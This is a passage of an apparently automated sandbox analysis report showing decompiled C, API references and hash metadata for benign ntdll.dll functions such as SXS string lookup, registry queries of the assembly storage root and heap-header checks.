0x6b493656
0x6b49365c
0x6b493664
0x6b493669
0x6b493669
0x6b493664
0x6b49367e
0x6b49367e
0x6b493630
0x6b493625
0x6b4934df
0x6b4934df
0x6b4934df
0x6b4934e2
0x6b4934e3
0x6b4934e8
0x00000000
0x00000000
0x00000000
0x00000000
0x6b4934e8
0x00000000
0x6b4934d1
0x6b4dda47
0x6b4dda52
0x00000000
0x6b4dda57
0x6b4934b5
0x6b493475
0x6b4933fb
0x6b4933fd
0x6b4dd9a4
0x6b4dd9aa
0x6b4dd9aa
0x6b4dd9ad
0x6b4dd9b6
0x6b4dd9b8
0x6b4dd9b8
0x6b4dd9bd
0x6b493403
0x6b493405
0x6b493407
0x6b493410
0x6b493410
0x6b493413
0x6b493416
0x6b493417
0x6b49341d
0x6b493535
0x6b493535
0x6b493423
0x6b493426
0x6b493502
0x6b493519
0x6b493525
0x6b493531
0x00000000
0x6b49342c
0x6b49342f
0x6b49342f
0x6b493426
0x6b493438
0x6b49343a
0x6b49343e
0x6b49343e
0x6b493405
0x6b493441
0x6b493444
0x6b493447
0x6b493449
0x6b49344b
0x6b49344d
0x6b4dd9d1
0x6b4934f2
0x6b4934ff
0x00000000
0x00000000
0x00000000
0x6b493453
0x6b493456
0x00000000
0x6b493456
0x6b49344d
0x6b4933f5
0x6b4933d7
0x6b4933cc
0x6b4933c4
0x6b4933b8
0x00000000

APIs

bsearch.1105(?,?,00000000,00000018,6B4A8C30,%*Ik,00000000,00000000), ref: 6B493575
RtlCompareUnicodeString.1105(?,?,?,?,?,%*Ik,00000000,00000000), ref: 6B4935CF
RtlHashUnicodeString.1105(?,?,00000000,?,%*Ik,00000000,00000000), ref: 6B4DD9E3
DbgPrintEx.1105(00000033,00000000,RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.,?,?,?,00000000,?,%*Ik,00000000,00000000), ref: 6B4DD9FF

Strings

SXS: String hash collision chain offset at %p (= %ld) out of bounds, xrefs: 6B4DDA49
SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p, xrefs: 6B4DDA2C
RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section., xrefs: 6B4DD9F6
%*Ik, xrefs: 6B493386
SsHd, xrefs: 6B4933A5

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: StringUnicode$CompareHashPrintbsearch
String ID: %*Ik$RtlpFindUnicodeStringInSection: Unsupported hash algorithm %lu found in string section.$SXS: String hash collision chain offset at %p (= %ld) out of bounds$SXS: String hash table entry at %p has invalid key offset (= %ld) Header = %p; Index = %lu; Bucket = %p; Chain = %p$SsHd
API String ID: 856964118-3918979155
Opcode ID: 4eaeb001280fd4c2b569b4d8caf4516eedd8c4cf3250468347159683ecffd640
Instruction ID: f36912a5ab78929089f4f96f43c89b83d95f92d9c727602d9a116d7e6ef5d19e
Opcode Fuzzy Hash: 4eaeb001280fd4c2b569b4d8caf4516eedd8c4cf3250468347159683ecffd640
Instruction Fuzzy Hash: DBD1B071A00219DFCB25DF98D9D0FADBBB1EF49714F1540AAE809AB351D33AD841CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B505F5F, Relevance: 22.9, APIs: 12, Strings: 1, Instructions: 161
memorynativefileCOMMON

Download Yara Rule

C-Code - Quality: 51%

			E6B505F5F(WCHAR* __ecx, intOrPtr __edx, void** _a4) {
				signed int _v16;
				signed int _v20;
				intOrPtr _v24;
				intOrPtr _v28;
				signed int _v32;
				char _v36;
				void* _v40;
				char _v44;
				char _v60;
				void* _v64;
				void* _v68;
				intOrPtr _v72;
				void* _v76;
				char _v84;
				WCHAR* _v88;
				intOrPtr _v100;
				signed int _t48;
				signed int _t54;
				int _t64;
				intOrPtr _t82;
				void* _t85;
				void* _t87;
				void* _t91;
				void* _t96;
				void* _t97;
				signed int _t100;

				_v76 = _v76 & 0x00000000;
				_t85 = 0;
				_v72 = __edx;
				if(__ecx == 0 || __edx == 0 || _a4 == 0) {
					_t48 = 0xc000000d;
					goto L26;
				} else {
					if( *__ecx == 0x5c) {
						RtlInitUnicodeString( &_v68, __ecx);
						L8:
						_v32 = _v32 & 0x00000000;
						_v20 = _v20 & 0x00000000;
						_v16 = _v16 & 0x00000000;
						_push(0x4021);
						_v28 =  &_v76;
						_push(7);
						_push( &_v60);
						_v36 = 0x18;
						_push( &_v36);
						_push(0x100001);
						_v24 = 0x40;
						_push( &_v84);
						_t54 = E6B4B9830();
						_t100 = _t54;
						if(_t85 == 0) {
							L13:
							if(_t100 >= 0) {
								_t96 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, 0x410);
								if(_t96 != 0) {
									RtlInitUnicodeString( &_v76, _v88);
									_push(0);
									_push( &_v84);
									_push(1);
									_push(3);
									_push(0x410);
									_push(_t96);
									_push( &_v76);
									_push(0);
									_push(0);
									_push(0);
									_push(_v100);
									_t100 = E6B4B9850();
									if(_t100 >= 0) {
										_t64 =  *(_t96 + 0x3c);
										if(_t64 <= 0x104) {
											_t87 = RtlAllocateHeap( *( *[fs:0x30] + 0x18), 8, _t64 + 4);
											if(_t87 != 0) {
												_t39 = _t96 + 0x5e; // 0x5e
												memcpy(_t87, _t39,  *(_t96 + 0x3c));
												 *((short*)(_t87 + ( *(_t96 + 0x3c) >> 1) * 2)) = 0;
												 *_a4 = _t87;
											} else {
												_t100 = 0xc0000017;
											}
										}
									}
									RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t96);
								} else {
									_t100 = 0xc0000017;
								}
							}
							L22:
							if(_v84 != 0) {
								_push(_v84);
								E6B4B95D0();
							}
							_t48 = _t100;
							L26:
							return _t48;
						}
						_t97 = _v40;
						if(_t97 != 0) {
							asm("lock xadd [edi], eax");
							if((_t54 | 0xffffffff) == 0) {
								_push( *((intOrPtr*)(_t97 + 4)));
								E6B4B95D0();
								RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t97);
							}
						}
						RtlFreeHeap( *( *[fs:0x30] + 0x18), 0, _t85);
						goto L13;
					}
					_push( &_v44);
					_push(0);
					_push( &_v68);
					_t91 = 2;
					_t100 = E6B4865BA(_t91, __ecx);
					if(_t100 < 0) {
						goto L22;
					} else {
						_t82 = _v44;
						_t85 = _v64;
						if(_t82 != 0) {
							_v68 = _t82;
							_v64 = _v40;
						}
						goto L8;
					}
				}
			}

0x6b505f6a
0x6b505f73
0x6b505f75
0x6b505f7c
0x6b506137
0x00000000
0x6b505f93
0x6b505f97
0x6b505fd9
0x6b505fde
0x6b505fde
0x6b505fe7
0x6b505fec
0x6b505ff1
0x6b505ff6
0x6b505ffe
0x6b506000
0x6b506005
0x6b50600d
0x6b50600e
0x6b506017
0x6b50601f
0x6b506020
0x6b506025
0x6b506029
0x6b506066
0x6b506068
0x6b506084
0x6b506088
0x6b50609d
0x6b5060a8
0x6b5060a9
0x6b5060aa
0x6b5060ac
0x6b5060ae
0x6b5060af
0x6b5060b4
0x6b5060b5
0x6b5060b6
0x6b5060b7
0x6b5060b8
0x6b5060c1
0x6b5060c5
0x6b5060c7
0x6b5060cf
0x6b5060e5
0x6b5060e9
0x6b5060f5
0x6b5060fa
0x6b506109
0x6b506110
0x6b5060eb
0x6b5060eb
0x6b5060eb
0x6b5060e9
0x6b5060cf
0x6b50611e
0x6b50608a
0x6b50608a
0x6b50608a
0x6b506088
0x6b506123
0x6b506128
0x6b50612a
0x6b50612e
0x6b50612e
0x6b506133
0x6b50613c
0x6b506142
0x6b506142
0x6b50602b
0x6b506031
0x6b506036
0x6b50603a
0x6b50603c
0x6b50603f
0x6b506050
0x6b506050
0x6b50603a
0x6b506061
0x00000000
0x6b506061
0x6b505f9f
0x6b505fa0
0x6b505fa5
0x6b505fa8
0x6b505fae
0x6b505fb2
0x00000000
0x6b505fb8
0x6b505fb8
0x6b505fbc
0x6b505fc3
0x6b505fc5
0x6b505fcd
0x6b505fcd
0x00000000
0x6b505fc3
0x6b505fb2

APIs

RtlInitUnicodeString.1105(?,?,00000000,?,00000000,?,?,?,00000000,?,?,?,?,?,00000000,?), ref: 6B505FD9
ZwOpenFile.1105(?,00100001,?,?,00000007,00004021), ref: 6B506020
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6B50603F
RtlFreeHeap.1105(?,00000000,?,00000000,?,00100001,?,?,00000007,00004021), ref: 6B506050
RtlFreeHeap.1105(?,00000000,00000000,?,00100001,?,?,00000007,00004021), ref: 6B506061
RtlAllocateHeap.1105(?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6B50607F
ZwClose.1105(00000000,?,00100001,?,?,00000007,00004021), ref: 6B50612E

Part of subcall function 6B4865BA: RtlInitUnicodeStringEx.1105(?,?,?), ref: 6B4865CA

RtlInitUnicodeString.1105(?,?,00000008,00000410,?,00100001,?,?,00000007,00004021), ref: 6B50609D
ZwQueryDirectoryFile.1105(?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?,00000008,00000410,?), ref: 6B5060BC
RtlAllocateHeap.1105(?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6B5060E0
memcpy.1105(00000000,0000005E,?,00000008,?,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000), ref: 6B5060FA
RtlFreeHeap.1105(?,00000000,00000000,?,00000000,00000000,00000000,?,00000000,00000410,00000003,00000001,?,00000000,?,?), ref: 6B50611E

Strings

@, xrefs: 6B506017

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Heap$FreeInitStringUnicode$AllocateCloseFile$DirectoryOpenQuerymemcpy
String ID: @
API String ID: 1610808139-2766056989
Opcode ID: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction ID: cb690cf71b1bce673dc12e89df67397643536a0fd0553b5fd0ad0d3365f18389
Opcode Fuzzy Hash: f01aa9c5d7505036a5332c028e8c9018f26f72483e3ba049823e414153cadd42
Instruction Fuzzy Hash: 8351DEB2548745AFE722CF28C841F9BB7E8FB44714F00096DBA5097290DBB9ED44CBA1

Uniqueness

Uniqueness Score: -1.00%

Function 6B504A28, Relevance: 22.9, APIs: 7, Strings: 6, Instructions: 126nativeCOMMON

Download Yara Rule

APIs

ZwOpenKey.1105(?,00000001,00000018,00000000,?,?), ref: 6B504AB1

Part of subcall function 6B4B9600: LdrInitializeThunk.NTDLL(6B4B1119,?,?,00000018,?), ref: 6B4B960A

DbgPrintEx.1105(00000033,00000000,SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx,?,00000000,?,6B451B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?), ref: 6B504ACC
ZwQueryValueKey.1105(?,6B451B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B504AF9
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location value has non-even size,?,6B451B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B504B24
DbgPrintEx.1105(00000033,00000000,SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING,?,?,6B451B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B504B67
memcpy.1105(00000010,?,?,?,6B451B28,00000002,?,00000218,?,?,00000001,00000018,00000000,?,?), ref: 6B504BA2
ZwClose.1105(?,00000000,?,?), ref: 6B504BCB

Strings

SXS: Assembly storage root location value has non-even size, xrefs: 6B504B41
@, xrefs: 6B504A9B
SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING, xrefs: 6B504B5F
SXS: Assembly storage root location value type is not REG_SZ, xrefs: 6B504B1C
SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx, xrefs: 6B504AC4
SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx, xrefs: 6B504B0C

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$CloseInitializeOpenQueryThunkValuememcpy
String ID: @$SXS: Assembly storage root location for %wZ does not fit in a UNICODE STRING$SXS: Assembly storage root location value has non-even size$SXS: Assembly storage root location value type is not REG_SZ$SXS: Unabel to query location from storage root subkey %wZ; Status = 0x%08lx$SXS: Unable to open storage root subkey %wZ; Status = 0x%08lx
API String ID: 248942162-306078230
Opcode ID: f691aa9b62b50ec26eca3a368aac59bb84efc31548469bd86dabe7fb22089dab
Instruction ID: 54fde48d06948005a1587d515f8277467d52aaf28638a8a56ecf4008b114e450
Opcode Fuzzy Hash: f691aa9b62b50ec26eca3a368aac59bb84efc31548469bd86dabe7fb22089dab
Instruction Fuzzy Hash: 5E418B71D4112D6AEB20DF559C95FE9B3B8EF15754F0041EADA08A7240EB789E84CBE0

Uniqueness

Uniqueness Score: -1.00%

Function 6B5349A4, Relevance: 22.9, APIs: 9, Strings: 4, Instructions: 114memorynativeCOMMON

Download Yara Rule

APIs

ZwAllocateVirtualMemory.1105(000000FF,?,00000000,?,00001000,00000004,00000000,?,00000000,?,?,6B5344B7,?), ref: 6B5349DF

Part of subcall function 6B4B9660: LdrInitializeThunk.NTDLL(6B5018BF,000000FF,00000000,00000000,0000000C,00001000,00000004,6B550810,0000001C,6B501616), ref: 6B4B966A

RtlCompareMemory.1105(?,01000000,?,00000000,?,00000000,?,?,6B5344B7,?), ref: 6B5349FE
memcpy.1105(01000000,?,?,00000000,?,00000000,?,?,6B5344B7,?), ref: 6B534A0C
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?), ref: 6B534A42
DbgPrint.1105(HEAP: ,?), ref: 6B534A4F
DbgPrint.1105(Heap %p - headers modified (%p is %lx instead of %lx),?,HEAP: ,HEAP: ,00000000,?), ref: 6B534A66
DbgPrint.1105(HEAP[%wZ]: ,-0000002C,?,?,?,?,?,?), ref: 6B534ABC
DbgPrint.1105(HEAP: ,?,?,?,?,?,?), ref: 6B534AC9
DbgPrint.1105( This is located in the %s field of the heap header.,?,?,?,?,?,?), ref: 6B534ADB

Strings

This is located in the %s field of the heap header., xrefs: 6B534AD6
HEAP: , xrefs: 6B534A4A, 6B534A5D, 6B534A5F, 6B534AC4
Heap %p - headers modified (%p is %lx instead of %lx), xrefs: 6B534A61
HEAP[%wZ]: , xrefs: 6B534A3D, 6B534AB7

Memory Dump Source

Source File: 00000018.00000002.441461960.000000006B451000.00000020.00020000.sdmp, Offset: 6B450000, based on PE: true

Associated: 00000018.00000002.441413678.000000006B450000.00000002.00020000.sdmp Download File
Associated: 00000018.00000002.443730136.000000006B565000.00000008.00020000.sdmp Download File
Associated: 00000018.00000002.443748065.000000006B56B000.00000004.00020000.sdmp Download File
Associated: 00000018.00000002.443821288.000000006B56F000.00000002.00020000.sdmp Download File

Similarity

API ID: Print$Memory$AllocateCompareInitializeThunkVirtualmemcpy
String ID: This is located in the %s field of the heap header.$HEAP: $HEAP[%wZ]: $Heap %p - headers modified (%p is %lx instead of %lx)
API String ID: 4107597528-336120773
Opcode ID: e7b21907d8e4211322788ada9d30472f44802c6ff2b56db919d8d1e8da605475
Instruction ID: c4776756edad4d907c31269ab4ea939e3d1dcbca1df8de7ace92d763bc86e4f6
Opcode Fuzzy Hash: e7b21907d8e4211322788ada9d30472f44802c6ff2b56db919d8d1e8da605475
Instruction Fuzzy Hash: 1E311636110564EFE311DB6AC885FEB73A9EF05768F1084A9F415DB350F73AE880CAA5

Uniqueness

Uniqueness Score: -1.00%

Function 6B473ACA, Relevance: 21.3, APIs: 14, Instructions: 348
COMMON

Download Yara Rule

C-Code - Quality: 69%

			E6B473ACA(void* __ebx, intOrPtr __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr _t197;
				intOrPtr _t200;
				intOrPtr _t206;
				intOrPtr _t209;
				intOrPtr _t217;
				signed int _t224;
				signed int _t226;
				signed int _t229;
				signed int _t230;
				signed int _t233;
				intOrPtr _t238;
				signed int _t246;
				signed int _t249;
				char* _t252;
				intOrPtr _t257;
				signed int _t272;
				intOrPtr _t280;
				intOrPtr _t281;
				signed char _t286;
				signed int _t291;
				signed int _t292;
				intOrPtr _t299;
				intOrPtr _t301;
				signed int _t307;
				intOrPtr* _t308;
				signed int _t309;
				intOrPtr _t312;
				signed int* _t313;
				intOrPtr _t315;
				signed int _t316;
				void* _t317;

				_push(0x84);
				_push(0x6b54f4d0);
				E6B4CD0E8(__ebx, __edi, __esi);
				_t312 = __edx;
				 *((intOrPtr*)(_t317 - 0x38)) = __edx;
				 *((intOrPtr*)(_t317 - 0x20)) = __ecx;
				_t307 = 0;
				 *(_t317 - 0x74) = 0;
				 *((intOrPtr*)(_t317 - 0x78)) = 0;
				_t272 = 0;
				 *(_t317 - 0x60) = 0;
				 *((intOrPtr*)(_t317 - 0x68)) =  *((intOrPtr*)(__ecx + 0x2c)) + __ecx;
				_t197 = __edx + 0x28;
				 *((intOrPtr*)(_t317 - 0x7c)) = _t197;
				 *((intOrPtr*)(_t317 - 0x88)) = _t197;
				E6B492280(_t197, _t197);
				_t280 =  *((intOrPtr*)(_t312 + 0x2c));
				 *((intOrPtr*)(_t317 - 0x34)) = _t280;
				L1:
				while(1) {
					if(_t280 == _t312 + 0x2c) {
						E6B48FFB0(_t272, _t307,  *((intOrPtr*)(_t317 - 0x7c)));
						asm("sbb ebx, ebx");
						return E6B4CD130( ~_t272 & 0xc000022d, _t307, _t312);
					}
					_t15 = _t280 - 4; // -4
					_t200 = _t15;
					 *((intOrPtr*)(_t317 - 0x70)) = _t200;
					 *((intOrPtr*)(_t317 - 0x8c)) = _t200;
					 *((intOrPtr*)(_t317 - 0x6c)) = _t200;
					_t308 = 0x7ffe0010;
					_t313 = 0x7ffe03b0;
					goto L4;
					do {
						do {
							do {
								do {
									L4:
									 *(_t317 - 0x30) =  *0x6b568628;
									 *(_t317 - 0x44) =  *0x6b56862c;
									 *(_t317 - 0x28) =  *_t313;
									 *(_t317 - 0x58) = _t313[1];
									while(1) {
										_t301 =  *0x7ffe000c;
										_t281 =  *0x7ffe0008;
										__eflags = _t301 -  *_t308;
										if(_t301 ==  *_t308) {
											goto L6;
										}
										asm("pause");
									}
									L6:
									_t313 = 0x7ffe03b0;
									_t309 =  *0x7ffe03b0;
									 *(_t317 - 0x40) = _t309;
									_t206 =  *0x7FFE03B4;
									 *((intOrPtr*)(_t317 - 0x3c)) = _t206;
									__eflags =  *(_t317 - 0x28) - _t309;
									_t308 = 0x7ffe0010;
								} while ( *(_t317 - 0x28) != _t309);
								__eflags =  *(_t317 - 0x58) - _t206;
							} while ( *(_t317 - 0x58) != _t206);
							 *(_t317 - 0x28) =  *0x6b56862c;
							__eflags =  *(_t317 - 0x30) -  *0x6b568628;
							_t308 = 0x7ffe0010;
						} while ( *(_t317 - 0x30) !=  *0x6b568628);
						__eflags =  *(_t317 - 0x44) -  *(_t317 - 0x28);
					} while ( *(_t317 - 0x44) !=  *(_t317 - 0x28));
					_t315 =  *((intOrPtr*)(_t317 - 0x6c));
					_t307 = 0;
					_t272 =  *(_t317 - 0x60);
					asm("sbb edx, [ebp-0x3c]");
					asm("sbb edx, eax");
					 *(_t317 - 0x28) = _t281 -  *(_t317 - 0x40) -  *(_t317 - 0x30) + 0x7a120;
					asm("adc edx, edi");
					asm("lock inc dword [esi+0x2c]");
					_t209 =  *((intOrPtr*)(_t317 - 0x20));
					_t286 =  *(_t315 + 0x24) &  *(_t209 + 0x18);
					 *(_t317 - 0x40) = _t286;
					__eflags =  *(_t315 + 0x34);
					if( *(_t315 + 0x34) != 0) {
						L37:
						 *((intOrPtr*)(_t317 - 0x34)) =  *((intOrPtr*)( *((intOrPtr*)(_t317 - 0x34))));
						E6B4ADF4C(_t317 - 0x78, _t315, _t317 - 0x74, _t317 - 0x78);
						_t316 =  *(_t317 - 0x74);
						__eflags = _t316;
						_t280 =  *((intOrPtr*)(_t317 - 0x34));
						if(_t316 != 0) {
							 *0x6b56b1e0( *((intOrPtr*)(_t317 - 0x78)));
							 *_t316();
							_t280 =  *((intOrPtr*)(_t317 - 0x34));
						}
						_t312 =  *((intOrPtr*)(_t317 - 0x38));
						continue;
					}
					__eflags = _t286;
					if(_t286 == 0) {
						goto L37;
					}
					 *(_t317 - 0x5c) = _t286;
					_t45 = _t317 - 0x5c;
					 *_t45 =  *(_t317 - 0x5c) & 0x00000001;
					__eflags =  *_t45;
					if( *_t45 == 0) {
						L40:
						__eflags = _t286 & 0xfffffffe;
						if((_t286 & 0xfffffffe) != 0) {
							__eflags =  *((intOrPtr*)(_t315 + 0x64)) - _t307;
							if( *((intOrPtr*)(_t315 + 0x64)) == _t307) {
								L14:
								__eflags =  *(_t315 + 0x40) - _t307;
								if( *(_t315 + 0x40) != _t307) {
									__eflags = _t301 -  *(_t315 + 0x4c);
									if(__eflags > 0) {
										goto L15;
									}
									if(__eflags < 0) {
										L59:
										_t299 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *(_t315 + 0x5c) -  *((intOrPtr*)(_t299 + 0x10));
										if( *(_t315 + 0x5c) >=  *((intOrPtr*)(_t299 + 0x10))) {
											goto L37;
										}
										goto L15;
									}
									__eflags =  *(_t317 - 0x28) -  *(_t315 + 0x48);
									if( *(_t317 - 0x28) >=  *(_t315 + 0x48)) {
										goto L15;
									}
									goto L59;
								}
								L15:
								__eflags =  *((intOrPtr*)(_t317 + 8)) - _t307;
								if( *((intOrPtr*)(_t317 + 8)) != _t307) {
									__eflags =  *((intOrPtr*)(_t315 + 0x58)) - _t307;
									if( *((intOrPtr*)(_t315 + 0x58)) != _t307) {
										goto L16;
									}
									goto L37;
								}
								L16:
								 *(_t317 - 0x24) = _t307;
								 *(_t317 - 0x30) = _t307;
								 *((intOrPtr*)(_t317 - 0x2c)) =  *((intOrPtr*)(_t315 + 0x10));
								_t217 =  *((intOrPtr*)(_t315 + 0xc));
								 *((intOrPtr*)(_t317 - 0x4c)) =  *((intOrPtr*)(_t217 + 0x10));
								 *((intOrPtr*)(_t317 - 0x48)) =  *((intOrPtr*)(_t217 + 0x14));
								 *(_t317 - 0x58) =  *(_t217 + 0x24);
								 *((intOrPtr*)(_t317 - 0x3c)) =  *((intOrPtr*)(_t315 + 0x14));
								 *((intOrPtr*)(_t317 - 0x64)) =  *((intOrPtr*)(_t315 + 0x18));
								 *(_t315 + 0x60) =  *( *[fs:0x18] + 0x24);
								_t224 =  *((intOrPtr*)(_t317 - 0x38)) + 0x28;
								 *(_t317 - 0x94) = _t224;
								_t291 = _t224;
								 *(_t317 - 0x28) = _t291;
								 *(_t317 - 0x90) = _t291;
								E6B48FFB0(_t272, _t307, _t224);
								_t292 = _t307;
								 *(_t317 - 0x54) = _t292;
								_t226 = _t307;
								 *(_t317 - 0x50) = _t226;
								 *(_t317 - 0x44) = _t226;
								__eflags =  *(_t315 + 0x28);
								if(__eflags != 0) {
									asm("lock bts dword [eax], 0x0");
									_t229 = 0;
									_t230 = _t229 & 0xffffff00 | __eflags >= 0x00000000;
									 *(_t317 - 0x50) = _t230;
									 *(_t317 - 0x44) = _t230;
									__eflags = _t230;
									if(_t230 != 0) {
										goto L17;
									}
									__eflags =  *((intOrPtr*)(_t317 + 8)) - 1;
									if( *((intOrPtr*)(_t317 + 8)) == 1) {
										E6B492280( *(_t315 + 0x28) + 0x10,  *(_t315 + 0x28) + 0x10);
										_t230 = 1;
										 *(_t317 - 0x50) = 1;
										 *(_t317 - 0x44) = 1;
										goto L17;
									}
									_t233 = _t230 + 1;
									L35:
									 *( *((intOrPtr*)(_t317 - 0x70)) + 0x58) = _t233;
									__eflags = _t292;
									if(_t292 == 0) {
										E6B492280(_t233,  *(_t317 - 0x28));
									}
									 *(_t315 + 0x60) = _t307;
									goto L37;
								}
								L17:
								__eflags =  *(_t315 + 0x34) - _t307;
								if( *(_t315 + 0x34) != _t307) {
									L26:
									__eflags =  *(_t317 - 0x50);
									if( *(_t317 - 0x50) != 0) {
										_t230 = E6B48FFB0(_t272, _t307,  *(_t315 + 0x28) + 0x10);
									}
									__eflags =  *(_t317 - 0x30);
									if( *(_t317 - 0x30) == 0) {
										L71:
										_t292 =  *(_t317 - 0x54);
										L34:
										_t233 = _t307;
										goto L35;
									}
									E6B492280(_t230,  *(_t317 - 0x94));
									_t292 = 1;
									 *(_t317 - 0x54) = 1;
									__eflags =  *(_t317 - 0x24) - 0xc000022d;
									if( *(_t317 - 0x24) == 0xc000022d) {
										L69:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) == 0) {
											goto L34;
										}
										_t272 = 1;
										__eflags = 1;
										 *(_t317 - 0x60) = 1;
										E6B5030AE(_t315,  *(_t317 - 0x24),  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10));
										goto L71;
									}
									__eflags =  *(_t317 - 0x24) - 0xc0000017;
									if( *(_t317 - 0x24) == 0xc0000017) {
										goto L69;
									}
									__eflags =  *(_t315 + 0x1c);
									if( *(_t315 + 0x1c) != 0) {
										_t238 =  *((intOrPtr*)(_t317 - 0x20));
										__eflags =  *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c);
										if( *((intOrPtr*)(_t238 + 0x10)) -  *(_t315 + 0x1c) > 0) {
											goto L31;
										}
										L32:
										__eflags =  *(_t315 + 0x20) & 0x00000004;
										if(( *(_t315 + 0x20) & 0x00000004) != 0) {
											__eflags =  *(_t315 + 0x50) - _t307;
											if( *(_t315 + 0x50) > _t307) {
												 *(_t315 + 0x40) = _t307;
												 *(_t315 + 0x54) = _t307;
												 *(_t315 + 0x48) = _t307;
												 *(_t315 + 0x4c) = _t307;
												 *(_t315 + 0x50) = _t307;
												 *(_t315 + 0x5c) = _t307;
											}
										}
										goto L34;
									}
									L31:
									 *(_t315 + 0x1c) =  *( *((intOrPtr*)(_t317 - 0x20)) + 0x10);
									goto L32;
								}
								 *(_t317 - 0x30) = 1;
								 *((intOrPtr*)(_t317 - 0x80)) = 1;
								 *((intOrPtr*)(_t317 - 0x64)) = E6B473E80( *((intOrPtr*)(_t317 - 0x64)));
								 *(_t317 - 4) = _t307;
								__eflags =  *(_t317 - 0x5c);
								if( *(_t317 - 0x5c) != 0) {
									_t257 =  *((intOrPtr*)(_t317 - 0x20));
									 *0x6b56b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t257 + 0x10)),  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)),  *((intOrPtr*)(_t317 - 0x68)),  *((intOrPtr*)(_t257 + 0x14)));
									 *(_t317 - 0x24) =  *((intOrPtr*)(_t317 - 0x2c))();
								}
								_t246 =  *(_t317 - 0x40);
								__eflags = _t246 & 0x00000010;
								if((_t246 & 0x00000010) != 0) {
									__eflags =  *(_t315 + 0x34) - _t307;
									if( *(_t315 + 0x34) != _t307) {
										goto L21;
									}
									__eflags =  *(_t317 - 0x24);
									if( *(_t317 - 0x24) >= 0) {
										L64:
										 *0x6b56b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)), _t307,  *(_t317 - 0x58),  *((intOrPtr*)(_t317 - 0x3c)), _t307, _t307);
										 *((intOrPtr*)(_t317 - 0x2c))();
										 *(_t317 - 0x24) = _t307;
										_t246 =  *(_t317 - 0x40);
										goto L21;
									}
									__eflags =  *(_t315 + 0x20) & 0x00000004;
									if(( *(_t315 + 0x20) & 0x00000004) != 0) {
										goto L21;
									}
									goto L64;
								} else {
									L21:
									__eflags = _t246 & 0xffffffee;
									if((_t246 & 0xffffffee) != 0) {
										 *(_t317 - 0x24) = _t307;
										 *0x6b56b1e0( *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)),  *((intOrPtr*)(_t317 - 0x3c)), _t246);
										 *((intOrPtr*)(_t317 - 0x2c))();
									}
									_t249 = E6B497D50();
									__eflags = _t249;
									if(_t249 != 0) {
										_t252 =  *((intOrPtr*)( *[fs:0x30] + 0x50)) + 0x234;
									} else {
										_t252 = 0x7ffe038e;
									}
									__eflags =  *_t252;
									if( *_t252 != 0) {
										_t252 = E6B502E14( *( *((intOrPtr*)(_t317 - 0x20)) + 0x10), _t315,  *((intOrPtr*)(_t317 - 0x38)),  *((intOrPtr*)(_t317 - 0x2c)),  *(_t317 - 0x40),  *(_t317 - 0x24),  *((intOrPtr*)(_t317 - 0x4c)),  *((intOrPtr*)(_t317 - 0x48)));
									}
									 *(_t317 - 4) = 0xfffffffe;
									E6B473E6B(_t252);
									_t230 = E6B473E80( *((intOrPtr*)(_t317 - 0x64)));
									goto L26;
								}
							}
